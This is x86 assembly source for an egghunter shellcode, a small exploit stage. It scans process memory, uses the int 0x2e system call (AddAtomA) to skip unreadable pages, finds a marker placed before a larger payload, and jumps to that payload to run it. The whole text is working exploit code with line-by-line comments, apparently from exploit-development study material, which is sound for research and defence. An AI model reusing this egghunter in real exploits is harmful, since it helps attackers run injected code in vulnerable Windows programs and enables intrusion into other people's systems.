start:
 xor edx, edx   ; edx = 0, pointer to examined address

address_loop:
 inc edx    ; edx++, try next address

pagestart_check:
 test dx, 0x0ffc   ; are we within the first 4 bytes of a page?
 jz address_loop   ; if so, try next address as previous page might be unreadable
     ; and the cmp [edx-4], marker might result in a segmentation fault

access_check:
 push edx   ; save across syscall
 push byte 8   ; eax = 8, syscall nr of AddAtomA
 pop eax    ; ^
 int 0x2e   ; fire syscall (eax = 8, edx = ptr)
 cmp al, 0x05   ; is result 0xc0000005? (a bit sloppy)
 pop edx    ;

 je address_loop   ; jmp if result was 0xc0000005

egg_check:
 cmp dword [edx-4], marker ; is our egg right before examined address?
 jne address_loop  ; if not, try next address

egg_execute:
 inc ebx    ; make sure, zf is not set
 jmp edx    ; we found our egg at [edx-4], so we can jmp to edx
